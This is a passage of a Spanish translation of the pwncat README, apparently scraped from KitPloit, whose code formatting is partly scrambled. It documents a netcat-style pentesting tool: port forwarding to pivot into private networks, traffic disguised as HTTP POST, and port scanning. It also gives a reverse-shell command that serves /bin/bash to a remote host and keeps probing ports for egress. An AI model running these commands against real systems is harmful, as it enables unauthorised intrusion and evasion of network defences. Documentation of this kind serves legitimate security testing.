No tener ningún mensaje de información también a veces no es deseable. Quizás quiera saber qué está sucediendo detrás de escena, ¿no? De forma segura, <kbd>Ctrl</kbd>+<kbd>c</kbd> termine su servidor y redirija las notificaciones a un archivo de registro:```bash
pwncat -l -vvv 4444 2> comm.txt

Ahora todo lo que verás en tu sesión de terminal son las entradas y salidas reales de los comandos. Si quieres ver lo que sucede entre bastidores, abre una segunda ventana de terminal y ejecuta tail en el archivo comm.txt:```bash

View communication info

tail -fn50 comm.txt

2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744' 2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744 2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining) 2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

root@kitploit:~
#### Información de socket

Otra característica útil es mostrar la configuración actual de socket y red.
Use la opción `--info` con `socket`, `ipv4`, `ipv6`, `tcp` o `all` para mostrar toda la configuración disponible.

**Nota:** Para ver esa configuración, debe estar al menos en el nivel de registro `INFO` (`-vv`).

A continuación se muestra un ejemplo de salida en modo IPv4/TCP sin configuración personalizada:```
INFO: [bind-sock] Sock: SO_DEBUG: 0
INFO: [bind-sock] Sock: SO_ACCEPTCONN: 1
INFO: [bind-sock] Sock: SO_REUSEADDR: 1
INFO: [bind-sock] Sock: SO_KEEPALIVE: 0
INFO: [bind-sock] Sock: SO_DONTROUTE: 0
INFO: [bind-sock] Sock: SO_BROADCAST: 0
INFO: [bind-sock] Sock: SO_LINGER: 0
INFO: [bind-sock] Sock: SO_OOBINLINE: 0
INFO: [bind-sock] Sock: SO_REUSEPORT: 0
INFO: [bind-sock] Sock: SO_SNDBUF: 16384
INFO: [bind-sock] Sock: SO_RCVBUF: 131072
INFO: [bind-sock] Sock: SO_SNDLOWAT: 1
INFO: [bind-sock] Sock: SO_RCVLOWAT: 1
INFO: [bind-sock] Sock: SO_SNDTIMEO: 0
INFO: [bind-sock] Sock: SO_RCVTIMEO: 0
INFO: [bind-sock] Sock: SO_ERROR: 0
INFO: [bind-sock] Sock: SO_TYPE: 1
INFO: [bind-sock] Sock: SO_PASSCRED: 0
INFO: [bind-sock] Sock: SO_PEERCRED: 0
INFO: [bind-sock] Sock: SO_BINDTODEVICE: 0
INFO: [bind-sock] Sock: SO_PRIORITY: 0
INFO: [bind-sock] Sock: SO_MARK: 0
INFO: [bind-sock] IPv4: IP_OPTIONS: 0
INFO: [bind-sock] IPv4: IP_HDRINCL: 0
INFO: [bind-sock] IPv4: IP_TOS: 0
INFO: [bind-sock] IPv4: IP_TTL: 64
INFO: [bind-sock] IPv4: IP_RECVOPTS: 0
INFO: [bind-sock] IPv4: IP_RECVRETOPTS: 0
INFO: [bind-sock] IPv4: IP_RETOPTS: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_IF: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_TTL: 1
INFO: [bind-sock] IPv4: IP_MULTICAST_LOOP: 1
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_TTL: 0
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_LOOP: 0
INFO: [bind-sock] IPv4: IP_MAX_MEMBERSHIPS: 0
INFO: [bind-sock] IPv4: IP_TRANSPARENT: 0
INFO: [bind-sock] TCP: TCP_NODELAY: 0
INFO: [bind-sock] TCP: TCP_MAXSEG: 536
INFO: [bind-sock] TCP: TCP_CORK: 0
INFO: [bind-sock] TCP: TCP_KEEPIDLE: 7200
INFO: [bind-sock] TCP: TCP_KEEPINTVL: 75
INFO: [bind-sock] TCP: TCP_KEEPCNT: 9
INFO: [bind-sock] TCP: TCP_SYNCNT: 6
INFO: [bind-sock] TCP: TCP_LINGER2: 60
INFO: [bind-sock] TCP: TCP_DEFER_ACCEPT: 0
INFO: [bind-sock] TCP: TCP_WINDOW_CLAMP: 0
INFO: [bind-sock] TCP: TCP_INFO: 10
INFO: [bind-sock] TCP: TCP_QUICKACK: 1
INFO: [bind-sock] TCP: TCP_FASTOPEN: 0

Magia del reenvío de puertos

Reenvío de puertos TCP local

Escenario

  1. Alice puede ser alcanzada desde el exterior (TCP/UDP)
  2. Bob solo puede ser alcanzado desde la máquina de Alice``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | -----|----> | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat 72.0.0.1 3306 | pwncat \ | | -L 72.0.0.1:3306 \ | | 10.0.0.1 3306 |
root@kitploit:~
#### Reenvío de puerto UDP local

**Escenario**
1. Alice puede ser alcanzada desde el exterior (pero solo a través de UDP)
2. Bob solo puede ser alcanzado desde la máquina de Alice```
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | -----|----> | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat -L       |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u 72.0.0.1 3306  |      pwncat -u \              |
                              |        -L 72.0.0.1:3306 \     |
                              |        10.0.0.1 3306          |

Reenvío de puerto TCP remoto

Escenario

  1. Alice no puede ser alcanzada desde el exterior
  2. Alice tiene permitido conectarse al exterior (TCP/UDP)
  3. Bob solo puede ser alcanzado desde la máquina de Alice``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | <----|----- | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat -l 4444 | pwncat --reconn \ | | -R 56.0.0.1:4444 \ | | 10.0.0.1 3306 |
root@kitploit:~
#### Reenvío remoto de puerto UDP

**Escenario**
1. Alice no puede ser contactada desde el exterior
2. Alice puede conectarse al exterior (UDP: solo DNS)
3. Solo se puede contactar a Bob desde la máquina de Alice```
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | <----|----- | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat          |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u -l 53          |      pwncat -u --reconn \     |
                              |        -R 56.0.0.1:4444 \     |
                              |        10.0.0.1 3306          |

Salto de puertos salientes

Si no tienes idea de qué puertos salientes están permitidos desde la máquina objetivo, puedes indicarle al cliente (por ejemplo: en caso de una shell reversa) que sondee puertos salientes sin cesar.```bash

Reverse shell on target (the client)

--exec # The command shell the client should provide

--reconn # Instruct it to reconnect endlessly

--reconn-wait # Reconnect every 0.1 seconds

--reconn-robin # Use these ports to probe for outbount connections

pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53

root@kitploit:~
Una vez que el cliente esté en funcionamiento, ya sea usando sockets sin procesar para verificar tráfico entrante o usando algo como Wireshark o tcpdump para descubrir desde dónde el cliente puede conectarse de vuelta a ti,

Si encontraste uno o más puertos a los que el cliente puede conectarse a ti,
simplemente inicia tu listener localmente y espera a que vuelva.```bash
pwncat -l <ip> <port>

Si el cliente se conecta a usted, tendrá una shell inversa funcional. Si detiene su servidor de escucha local accidentalmente o a propósito, el cliente volverá a sondear puertos hasta que se conecte exitosamente. Para matar el cliente de shell inversa, puede usar --safe-word (al iniciar el cliente).

Si nada de esto tiene éxito, puede agregar otras medidas como usar UDP o incluso envolver sus paquetes en protocolos de nivel superior, como HTTP u otros. Consulte PSE o los ejemplos a continuación para saber cómo transformar su tráfico.

Pwncat Scripting Engine (PSE)

pwncat ofrece un motor de scripting basado en Python para inyectar su código personalizado antes de enviar y después de recibir datos.

Cómo funciona

Simplemente necesitará proporcionar un archivo Python con la siguiente función de punto de entrada:```python def transform(data, pse): # Example to reverse a string return data[::-1]

root@kitploit:~
Ambos, el nombre de la función debe ser `transform` y los argumentos parseados deben llamarse `data` y `pse`.  
Aparte de eso, puedes añadir todo el código que quieras. Cada instancia de `pwncat` puede recibir dos scripts:

1. `--script-send`: el script se aplicará antes de enviar
2. `--script-recv`: el script se aplicará después de recibir

Consulta [aquí](https://github.com/cytopia/pwncat/blob/master/pse) para la API y más detalles

#### Ejemplo 1: Cifrado asimétrico propio

> PSE: [asym-enc](https://github.com/cytopia/pwncat/blob/master/pse/asym-enc) código fuente

Esto cifrará tu tráfico de forma asimétrica. Es solo una implementación muy básica de [ROT13](https://en.wikipedia.org/wiki/ROT13) con diferentes longitudes de desplazamiento en ambos lados para *emular* asimetría. Podrías hacer lo mismo e implementar un cifrado asimétrico basado en GPG para PSE.```bash
# server
pwncat -vvvv -l localhost 4444 \
  --script-send pse/asym-enc/pse-asym_enc-server_send.py \
  --script-recv pse/asym-enc/pse-asym_enc-server_recv.py
root@kitploit:~
# client
pwncat -vvvv localhost 4444 \
  --script-send pse/asym-enc/pse-asym_enc-client_send.py \
  --script-recv pse/asym-enc/pse-asym_enc-client_recv.py

Ejemplo 2: Wrapper HTTP POST auto-construido

PSE: http-post código fuente

Esto envolverá todo el tráfico en una solicitud HTTP POST válida, haciéndola parecer tráfico HTTP normal.```bash

server

pwncat -vvvv -l localhost 4444
--script-send pse/http-post/pse-http_post-pack.py
--script-recv pse/http-post/pse-http_post-unpack.py

root@kitploit:~
```bash
# client
pwncat -vvvv localhost 4444 \
  --script-send pse/http-post/pse-http_post-pack.py \
  --script-recv pse/http-post/pse-http_post-unpack.py

Escaneo de puertos

TCP```bash

$ sudo netstat -tlpn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:4444 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN tcp6 0 0 ::1:631 :::* LISTEN tcp6 0 0 ::1:25 :::* LISTEN tcp6 0 0 ::1:4444 :::* LISTEN tcp6 0 0 :::1053 :::* LISTEN tcp6 0 0 :::902 :::* LISTEN

root@kitploit:~
#### UDP
Los siguientes puertos UDP están expuestos:```bash
$ sudo netstat -ulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address
udp        0      0 0.0.0.0:631             0.0.0.0:*
udp        0      0 0.0.0.0:5353            0.0.0.0:*
udp        0      0 0.0.0.0:39856           0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp6       0      0 :::1053                 :::*
udp6       0      0 :::5353                 :::*
udp6       0      0 :::57728                :::*
nmap```bash

$ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST Warning: 127.0.0.1 giving up on port because retransmission cap hit (2). Nmap scan report for localhost (127.0.0.1) Host is up (0.000035s latency). Other addresses for localhost (not scanned): ::1 Not shown: 65529 closed ports PORT STATE SERVICE 68/udp open|filtered dhcpc 631/udp open|filtered ipp 1053/udp open|filtered remote-as 5353/udp open|filtered zeroconf 39856/udp open|filtered unknown 40488/udp open|filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 179.15 seconds

real 2m52.446s user 0m0.844s sys 0m2.571s

root@kitploit:~
##### netcat```bash
$ time nc  -z localhost 1-65535  -u -4 -v
Connection to localhost 68 port [udp/bootpc] succeeded!
Connection to localhost 631 port [udp/ipp] succeeded!
Connection to localhost 1053 port [udp/*] succeeded!
Connection to localhost 5353 port [udp/mdns] succeeded!
Connection to localhost 39856 port [udp/*] succeeded!

real    0m18.734s
user    0m1.004s
sys     0m2.634s
pwncat```bash

$ time pwncat -z localhost 1-65535 -u -4 Scanning 65535 ports [+] 68/UDP open (IPv4) [+] 631/UDP open (IPv4) [+] 1053/UDP open (IPv4) [+] 5353/UDP open (IPv4) [+] 39856/UDP open (IPv4)

real 0m7.309s user 0m6.465s sys 0m4.794s

root@kitploit:~
## :information_source: Preguntas Frecuentes

**Ver la FAQ completa aquí:** https://docs.pwncat.org/en/latest/faq.html

**P**: ¿Es `pwncat` compatible con `netcat`?

**R**: Sí, es totalmente compatible en la forma en que se comporta en los modos connect, listen y zero-i/o. Incluso puedes mezclar `pwncat` con `netcat`, `ncat` o herramientas similares.


**P**: ¿Funciona en X?

**R**: En su estado actual funciona con Python 2, 3, pypy2 y pypy3 y está completamente probado en Linux y MacOS. El soporte para Windows está disponible, pero se considera experimental (consulte [pruebas de integración](https://github.com/cytopia/pwncat/actions)).


**P**: ¡Encontré un error / Tengo que sugerir una nueva característica! ¿Qué puedo hacer?

**R**: Para informes de errores o mejoras, por favor abra un issue [aquí](https://github.com/cytopia/pwncat/issues).


**P**: ¿Cómo puedo apoyar este proyecto?

**R**: ¡Gracias por preguntar! En primer lugar, dale una estrella a este proyecto para darme retroalimentación y consulta [CONTRIBUTING.md](https://github.com/cytopia/pwncat/blob/master/CONTRIBUTING.md) para más detalles.


## :sunrise: Arte

<table>
 <thead>
  <tr>
   <th>Tipo</th>
   <th>Artista</th>
   <th>Imagen</th>
   <th>Licencia</th>
  </tr>
 </thead>
 <tbody>
  <tr>
   <td>Logotipo</td>
   <td><a href="https://github.com/maifz">maifz</a></td>
   <td><a href="https://github.com/cytopia/pwncat/blob/master/art/logo.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/a1b54927c2019b933f6e456079c612aff45d525e69c6058199d8fe049916146f.png" style="height:128px;" height="128" alt="pwncat logo" title="pwncat logo" /></a></td>
   <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
  </tr>
  <tr>
   <td>Banner 1</td>
   <td><a href="https://github.com/maifz">maifz</a></td>
   <td><a href="https://github.com/cytopia/pwncat/blob/master/art/banner-1.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/51461eddf94bb0ed53b8d28478113978cf87ea31e645b2afc8e1783053e8bafc.png" style="height:128px;" height="128" alt="pwncat banner" title="pwncat banner"  /></a></td>
   <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
  </tr>
  <tr>
   <td>Banner 2</td>
   <td><a href="https://github.com/maifz">maifz</a></td>
   <td><a href="https://github.com/cytopia/pwncat/blob/master/art/banner-2.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/1deb2e118b970b2b974f682e9ef087bbc5cc9c18674b5d4cbbdf967885d119c9.png" style="height:128px;" height="128" alt="pwncat banner" title="pwncat banner" /></a></td>
   <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
  </tr>
 </tbody>
</table>


## :lock: [cytopia](https://github.com/cytopia) herramientas de seguridad

A continuación se muestra una lista de herramientas de seguridad y documentos que mantengo.

| Nombre               | Categoría            | Lenguaje    | Descripción |
|----------------------|----------------------|-------------|-------------|
| **[offsec]**         | Documentación        | Markdown    | Lista de verificación Offsec, herramientas y ejemplos |
| **[header-fuzz]**    | Enumeración          | Bash        | Fuzzear cabeceras HTTP |
| **[smtp-user-enum]** | Enumeración          | Python 2+3  | Enumerador de usuarios SMTP |
| **[urlbuster]**      | Enumeración          | Python 2+3  | Fuzzer mutable de directorios web |
| **[pwncat]**         | Pivoteo              | Python 2+3  | Netcat multiplataforma potenciado |
| **[kusanagi]**       | Generador de Payloads| Python 3    | Generador de payloads de shell directa y reversa |
| **[badchars]**       | Ingeniería Inversa   | Python 2+3  | Generador de badchars |
| **[fuzza]**          | Ingeniería Inversa   | Python 2+3  | Herramienta de fuzzing TCP |
| **[docker-dvwa]**    | Entorno de pruebas   | PHP         | DVWA con desafíos de escalada local de privilegios |

[offsec]: https://github.com/cytopia/offsec
[header-fuzz]: https://github.com/cytopia/header-fuzz
[smtp-user-enum]: https://github.com/cytopia/smtp-user-enum
[urlbuster]: https://github.com/cytopia/urlbuster
[pwncat]: https://github.com/cytopia/pwncat
[kusanagi]: https://github.com/cytopia/kusanagi
[badchars]: https://github.com/cytopia/badchars
[fuzza]: https://github.com/cytopia/fuzza
[docker-dvwa]: https://github.com/cytopia/docker-dvwa


## :octocat: Contribuir

Consulta **[Guías de contribución](https://github.com/cytopia/pwncat/blob/master/CONTRIBUTING.md)** para ayudar a mejorar este proyecto.


## :exclamation: Descargo de responsabilidad

Esta herramienta solo debe utilizarse con fines legales. Los usuarios asumen toda la responsabilidad por cualquier acción realizada con esta herramienta. El autor no acepta ninguna responsabilidad por daños causados por esta herramienta. Si estos términos no le resultan aceptables, no utilice esta herramienta.


## :page_facing_up: Licencia

**[MIT License](https://github.com/cytopia/pwncat/blob/master/LICENSE.txt)**

Copyright (c) 2020 **[cytopia](https://github.com/cytopia)**
Descargar herramienta
3.5
3.6
3.7
3.8
pypy2
pypy3
nix_img
oracle_img
dnf install pwncatapt install pwncatnixos.pwncatyum install pwncat
PentooParrot OS
pentoo_imgparrot_img
net-analyzer/pwncatapt install pwncat
Ejecución de comandos
✔
✔
✔
✔
Volcado hexadecimal*✔✔✔
Broker❌❌✔❌
Conexiones simultáneas❌❌✔✔
Permitir/denegar❌❌✔✔
Re-aceptar✔✔✔✔
Autoinyección✔❌❌❌
Shell inversa UDP✔❌❌❌
Cliente que reaparece✔❌❌❌
Salto de puertos✔❌❌❌
Apagado de emergencia✔❌❌❌